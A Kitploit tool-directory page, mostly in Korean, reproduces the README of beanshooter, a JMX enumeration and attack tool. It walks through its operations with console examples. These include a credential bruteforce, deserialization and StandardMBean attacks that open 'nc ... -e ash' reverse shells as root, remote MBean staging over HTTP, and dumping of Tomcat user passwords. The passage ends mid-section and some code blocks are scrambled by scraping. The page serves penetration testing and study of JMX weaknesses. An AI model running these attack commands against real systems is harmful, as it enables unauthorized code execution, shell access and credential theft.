Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
beanshooter — JMX 열거 및 공격 도구. | Kitploit
도구/GitHubGitHub/qtc-de/beanshooter
Vulnerability AnalysisExploitationPenetration Testing
GitHubqtc-de/beanshooter

beanshooter

JMX 열거 및 공격 도구.

저장소 보기
509553년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

beanshooter


beanshooter는 JMX 엔드포인트에서 일반적인 취약점을 식별하는 데 도움이 되는 JMX 열거 및 공격 도구입니다.

https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4

설치


beanshooter는 maven 프로젝트이며 설치가 간단합니다. maven이 설치되어 있으면 다음 명령을 실행하여 실행 가능한 .jar 파일을 생성할 수 있습니다:```console [qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter [qtc@devbox ~]$ cd beanshooter [qtc@devbox ~]$ mvn package

root@kitploit:~
또한 [각 릴리스](https://github.com/qtc-de/beanshooter/releases)에 대해 생성된 사전 빌드 패키지를 사용할 수 있습니다.
개발 브랜치용 사전 빌드 패키지는 자동으로 생성되며 *GitHub* [actions 페이지](https://github.com/qtc-de/beanshooter/actions)에서 찾을 수 있습니다.
또한 *beanshooter*를 실행하기 위한 사전 빌드 도커 이미지도 [이용 가능](#docker-image)합니다.

*beanshooter*는 *ysoserial*을 종속성으로 포함하지 않습니다.
*ysoserial* 지원을 활성화하려면 ``ysoserial.jar`` 파일의 경로를 추가 인수로 지정하거나(예: ``--yso /opt/ysoserial.jar``) 프로젝트를 빌드하기 전에 [beanshooter 구성 파일](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) 내의 기본 경로를 변경해야 합니다.

*beanshooter*는 *bash*에 대한 자동 완성을 지원합니다. 자동 완성을 사용하려면 [completion-helpers](https://github.com/qtc-de/completion-helpers) 프로젝트가 설치되어 있어야 합니다. 올바르게 설정된 경우 [완성 스크립트](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter)를 ``~/.bash_completion.d`` 폴더에 복사하기만 하면 자동 완성이 활성화됩니다.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

목차


  • 지원되는 작업
    • 기본 작업
      • attr
      • brute
      • deploy
      • enum
      • info
      • invoke
      • jolokia
      • list
      • model
      • serial
      • stager
      • standard
      • undeploy
    • MBean 작업
      • 일반 MBean 작업
        • attr
        • info
        • invoke
        • stats
        • status
        • export
        • deploy
        • undeploy
      • 진단
        • read
        • load
        • logfile
        • nolog
        • cmdline
        • props
      • 핫스팟
        • dump
        • list
        • get
        • set
      • mlet
        • load
      • 레코더
        • new
        • start
        • stop
        • read
        • dump
      • 톰캣
        • dump
        • list
        • write
      • tonka

지원되는 작업


다양한 beanshooter 작업은 두 그룹으로 나눌 수 있습니다: *기본 작업(basic operations)*과 *MBean 작업(MBean operations)*입니다. 기본 작업은 JMX 엔드포인트에 대한 일반 작업을 수행하는 데 사용되는 반면, MBean 작업은 특정 MBean과 상호 작용합니다. 자세한 내용은 다음 섹션의 사용 예제를 확인하십시오.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...

beanshooter v3.0.0 - a JMX enumeration and attacking tool

positional arguments:

Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server

MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files

named arguments: -h, --help show this help message and exit

root@kitploit:~
### Basic Operations

---

기본 작업은 JMX 서비스에서 수행할 수 있는 범용 작업입니다. 이는 일반적으로 특정 MBean을 대상으로 하지 않거나 beanshooter에 내장 지원이 없는 MBean을 대상으로 하는 작업입니다.

#### Attr

`attr` 작업을 사용하여 지정된 *MBean*의 속성을 가져오거나 설정할 수 있습니다. 사용 가능한 속성을 얻으려면 `info` 작업을 사용해야 합니다.```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

속성 이름만 지정되면 beanshooter는 현재 속성 값을 가져와서 표시합니다:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false

root@kitploit:~
추가 값이 지정되면, *beanshooter*는 해당 속성을 설정하려고 시도합니다. *String*과 다른 유형의 속성의 경우 `--type` 옵션을 사용하여 속성 유형을 지정해야 합니다:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

무차별 대입

brute 작업은 비밀번호로 보호된 JMX 서비스에 대해 무차별 대입 공격을 수행합니다. 추가 선택적 인수 없이 실행하면 beanshooter는 몇 가지 일반적인 사용자 이름-비밀번호 조합이 포함된 내장 단어 목록을 사용합니다. 더 전용적인 공격을 위해서는 --username-file 및 --password-file 옵션을 사용하여 더 포괄적인 단어 목록을 지정해야 합니다.```console [qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090 [+] Reading wordlists for the brute action. [+] Reading credentials from internal wordlist. [+] [+] Starting bruteforce attack with 10 credentials. [+] [+] Found valid credentials: admin:admin [+] [10 / 10] [########################################] 100% [+] [+] done.

root@kitploit:~
#### 배포

`deploy` 액션은 *JMX* 서비스에 *MBean*을 배포하는 데 사용할 수 있습니다. 이 액션은 기본 지원을 제공하는 예를 들어 *TonkaBean*과 같은 *MBeans*을 배포하는 데
**사용해서는 안 됩니다**. 기본 지원이 있는 *MBean*은 해당 [MBean 작업](#mbean-operations)을 통해 배포해야 합니다.

배포하려는 *MBean*이 이미 *JMX* 서비스에 알려진 경우, 구현하는 *MBean* 클래스의 클래스 이름과 원하는 `ObjectName`을 지정하는 것으로 충분합니다:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

MBean 클래스가 JMX 서비스에 알려져 있지 않은 경우, --jar-file 및 --stager-url 옵션을 사용하여 구현을 제공할 수 있습니다:```console [qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: ExampleBean [+] [+] MBean class is not known to the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: non.existing.example.ExampleBean [+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Object: qtc.test:type=Example [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484 [+] [+] MBean with object name qtc.test:type=Example was successfully deployed.

root@kitploit:~
#### Enum

`enum` 액션은 *JMX* 엔드포인트에서 일부 구성 세부 정보를 열거합니다. 항상 *JMX* 엔드포인트에 인증이 필요한지, 사전 인증된 임의 역직렬화를 허용하는지 확인합니다.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

인증이 필요하지 않거나 유효한 자격 증명이 지정된 경우, enum 작업은 JMX 엔드포인트에서 추가 정보를 열거하려고 시도합니다. 여기에는 기본이 아닌 MBeans 목록과 예를 들어 Apache tomcat 서버에 등록된 사용자 계정이 포함됩니다:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090 [+] Checking for unauthorized access: [+] [+] - Remote MBean server does not require authentication. [+] Vulnerability Status: Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - Remote MBeanServer rejected the payload class. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking available MBeans: [+] [+] - 57 MBeans are currently registred on the MBean server. [+] Listing 39 non default MBeans: [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve) [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080") [...] [+] [+] Enumerating tomcat users: [+] [+] - Listing 3 tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [...]

root@kitploit:~
`enum` 액션을 *SASL*로 보호된 엔드포인트에서 호출할 때, *beanshooter*는 서버에 구성된 *SASL* 프로파일을 열거하려고 시도합니다. 이는 어느 정도까지만 가능하며 서버의 *TLS* 구성은 열거할 수 없습니다. *beanshooter*가 식별한 *SASL* 프로파일이 작동하지 않는 경우, 항상 `--ssl` 옵션을 사용하거나 사용하지 않고 재시도해야 합니다:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

정보

info 작업은 MBean 서버에서 사용 가능한 MBeans의 메서드 및 속성 정보를 얻는 데 사용할 수 있습니다. 추가 인수 없이 호출되면 사용 가능한 모든 MBeans의 메서드 및 속성 정보가 출력됩니다. 추가 ObjectName을 지정하면 지정된 MBean의 메서드 및 속성 정보만 출력됩니다:```console [qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory [+] MBean Class: sun.management.MemoryImpl [+] ObjectName: java.lang:type=Memory [+] [+] Attributes: [+] Verbose (type: boolean , writable: true) [+] ObjectPendingFinalizationCount (type: int , writable: false) [+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] ObjectName (type: javax.management.ObjectName , writable: false) [+] [+] Operations: [+] void gc()

root@kitploit:~
#### 호출

`invoke` 작업은 *JMX* 엔드포인트에 이미 배포된 *MBean*에 대해 임의의 메서드를 호출하는 데 사용할 수 있습니다.
엔드포인트 외에도 `invoke` 작업은 대상 *MBean*의 `ObjectName`과 호출하려는 메서드 서명이 필요합니다.
지정된 메서드에 인수가 필요한 경우 해당 인수도 지정해야 합니다. 다음 목록은 인수가 없는 메서드 호출의 예를 보여줍니다.
여기서 `DiagnosticCommand` *MBean*의 `vmVersion()` 메서드가 호출됩니다:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

When invoking a method that requires parameters, the specified beanshooter arguments are evaluated as Java code. Simple argument types like integers or strings can just be passed by specifying their corresponding value. Complex argument types can be constructed as you would do it in Java (e.g. 'new java.util.HashMap()'). The following listing shows an example, where the help(String[] args) method is invoked on the DiagnosticCommand MBean:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }' Compiler.directives_add Add compiler directives from file.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Syntax : Compiler.directives_add

Arguments: filename : Name of the directives file (STRING, no default value)

root@kitploit:~
보다 복잡한 인수 유형(초기화가 필요한 경우)의 경우 *beanshooters PluginSystem*을 사용하고 [IArgumentProvider 인터페이스](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java)를 구현하는 사용자 정의 클래스를 정의할 수 있습니다.


#### Jolokia

*beanshooters* [Jolokia 문서](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md)에 설명된 대로, 거의 모든 *beanshooter* 작업은 `--jolokia` 스위치와 함께 사용하여 *Jolokia* 기반 *JMX* 엔드포인트를 대상으로 할 수 있습니다. *Jolokia JMX* 어댑터에 대한 이러한 일반적인 지원 외에도 *beanshooter*는 하나의 전용 `jolokia` 작업을 지원합니다. 이 작업은 프록시 모드가 활성화된 상태로 실행 중인 *Jolokia* 에이전트의 아웃바운드 연결을 강제하는 데 사용할 수 있습니다:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

같은 결과는 일반적인 beanshooter 작업(예: list)을 호출하고 --jolokia-proxy service:jmx:... 옵션을 사용하여 얻을 수 있습니다. jolokia 액션은 JNDI 구문을 기억할 필요 없이 사용할 수 있도록 단축키로 추가되었습니다. 사용할 때는 jolokia 액션, --jolokia 옵션이 기본적으로 적용됩니다.

List

list 액션은 원격 JMX 서비스에 등록된 모든 MBeans 목록을 출력합니다:```console [qtc@devbox ~]$ beanshooter list 172.17.0.2 9010 [+] Available MBeans: [+] [+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager) [+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool) [+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate) [...]

root@kitploit:~
#### Model

`model` 액션은 가장 강력한 *beanshooter* 작업 중 하나로, [Markus Wulftange](https://twitter.com/mwulftange)가 식별한 기술을 구현하여 임의의 *public* 및 *static* Java 메서드를 호출할 수 있게 합니다. 또한, 사용자가 생성한 객체 인스턴스에서 *public* 객체 메서드도 호출할 수 있습니다. 유일한 요구 사항은 사용되는 메서드 인수와 제공된 객체 인스턴스(*non static* 메서드의 경우)가 직렬화 가능해야 한다는 것입니다.

다음 목록은 `File` 객체가 객체 인스턴스로 제공되고 해당 객체에서 `String[] list()` 작업이 호출되는 예제 사용법을 보여줍니다:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

setManagedResource 메서드는 항상 사용 가능하며, 작업할 객체 인스턴스를 변경하는 데 사용할 수 있습니다:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference [+] Call was successful. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' passwd shells opt modules mtab issue inittab hosts ...

root@kitploit:~
정적 메서드를 호출할 때는 객체 인스턴스도 필요합니다. 그러나 객체 인스턴스의 실제 클래스는
중요하지 않습니다. 예를 들어 `java.lang.System`에서 `getProperties()`를 호출하려는 경우, 간단한 `String`을 객체 인스턴스로 사용할 수도 있습니다. 이 경우 지정된 클래스 이름만 중요합니다:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

model 액션은 리플렉션을 사용하여 지정된 클래스에서 사용 가능한 메서드를 결정합니다. 만약 클래스가 로컬에 없으면 --signature 또는 --signature-file 옵션을 통해 사용 가능한 메서드를 지정하여 여전히 사용할 수 있습니다. 하지만 기본 클래스가 아닌 클래스에 접근하려면 기본 클래스가 아닌(rt.jar에 없는) 객체 인스턴스를 제공해야 합니다. 이는 필요합니다. 왜냐하면 대상 클래스가 제공된 객체 인스턴스와 동일한 ClassLoader에 의해 로드되어야 하기 때문입니다. beanshooters example-server에서는 javax.management.remote.message.VersionMessage가 적합합니다. 이 클래스는 opendmk_jmxremote_optional_jar에 포함되어 있으며, 이 JAR은 클라이언트와 서버 모두에 존재합니다. 우리는 사용할 수 있습니다. 이것을 객체 인스턴스로 사용하여 de.qtc.beanshooter.server.utils.Logger와 같은 다른 사용자 정의 클래스의 메서드를 호출할 수 있습니다:```console [qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' [+] Deploying RequiredModelMBean supporting user specified methods [+] [+] Deplyoing MBean: RequiredModelMBean [+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. [+] [+] Available Methods: [+] - String getIndent() [+] - void setManagedResource(java.lang.Object, java.lang.String) [+] [+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") [+] Managed resource was set successfully. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' EMPTY OUTPUT - Just an Indent ;)

root@kitploit:~
`model` 액션에 의해 구현된 기술에 대해 더 알고 싶다면, [CODE WHITE](https://twitter.com/codewhitesec)의 이 [블로그 포스트](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)를 적극 추천합니다. 이 포스트에서 해당 기술을 매우 상세하게 설명하고 있습니다.


#### Serial

`serial` 액션은 *JMX* 엔드포인트에 대한 역직렬화 공격을 수행하는 데 사용할 수 있습니다. 기본적으로 이 액션은 인증 후 역직렬화 공격을 시도합니다. 이 작업이 작동하려면 대상 *JMX* 서비스가 인증되지 않은 액세스를 허용하거나 유효한 자격 증명이 필요합니다:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

JMX 서비스는 인증 전 역직렬화 공격에도 취약할 수 있습니다. 이를 악용하려면 --preauth 스위치를 사용하세요:```console [qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth [+] Attemting deserialization attack on JMX endpoint. [+] [+] Creating ysoserial payload... done. [+] MBeanServer attempted to deserialize the DeserializationCanary class. [+] Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
*JMXMP* 엔드포인트에 대해, 사전 인증 역직렬화가 일반적으로 가능합니다. 안타깝게도 `enum` 작업 중에는 이를 적절히 열거할 방법이 없습니다. *JMXMP* 엔드포인트를 발견하면 시도해 보는 것이 좋습니다.

#### Stager

`stager` 작업은 *MBeans*를 전달하는 데 사용할 수 있는 스테이저 서버를 시작합니다. *MBean* 전달을 위한 스테이저 서버 생성은 일반적으로 *beanshooters*의 `deploy` 작업을 사용할 때 자동으로 수행됩니다. 그러나 경우에 따라 독립 실행형 서버를 사용해야 할 수도 있습니다. `stager` 작업을 사용할 때는 전달할 내장 *MBean*의 이름(예: `tonka`)을 지정하거나 `custom` 키워드를 지정할 수 있습니다. `custom`이 지정된 경우 `--class-name`, `--object-name` 및 `--jar-file` 옵션이 필요합니다.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

Standard

standard 액션은 TemplateImpl 클래스를 구현하는 StandardMBean을 배포하여 다양한 대상을 달성합니다. 이 기술은 Markus Wulftange에 의해 발견되었으며, beanshooter는 이를 구현하여 명령 실행, 파일 업로드 및 TonkaBean 배포를 가능하게 합니다.```console [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. [+] MBean was successfully removed. ... [qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:40033. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
`standard` 액션을 통한 명령 실행은 블라인드 방식이므로 명령의 출력을 받을 수 없습니다.
또한, 기본적으로 명령은 `Runtime.exec(String str)`에 전달되며, 이는 특별한 셸 기능을 지원하지 않습니다.
셸 기능을 사용하려면 `--exec-array` 옵션을 사용하여 다음과 같이 명령을 지정하세요: `'sh -c echo "my cool command" > /tmp/test.txt'`. `--exec-array`를 사용하면 *beanshooter*는 지정된 명령을 세 부분으로 나누어 `Runtime.exec(String[] arr)`에 전달합니다. 하지만 일반적으로 명령 실행을 위해 *TonkaBean* 배포를 사용하는 것이 권장됩니다:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

The huge advantage compared to the regular tonka deploy action is that deployment via the StandardMBean does not require an outbound network connection. If a direct deployment via standard ... tonka does not work, you may be able to upload the TonkaBean Jar file and load it via MLet and the file:// protocol:```console [qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ [+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar [+] Exporting MLet HTML file to: ./index.html [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: file:/tmp/ [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html [+] Starting MBean deployment. [+] [+] Deplyoing MBean: TonkaBean [+] [+] MBean class is not known by the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from file:///tmp/index.html [+] [+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.

root@kitploit:~
If you want to know more about the technique that is implemented by the `standard` action, I highly
recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail.

#### Undeploy

The `undeploy` action removes the *MBean* with the specified `ObjectName` from the *JMX* service:```console
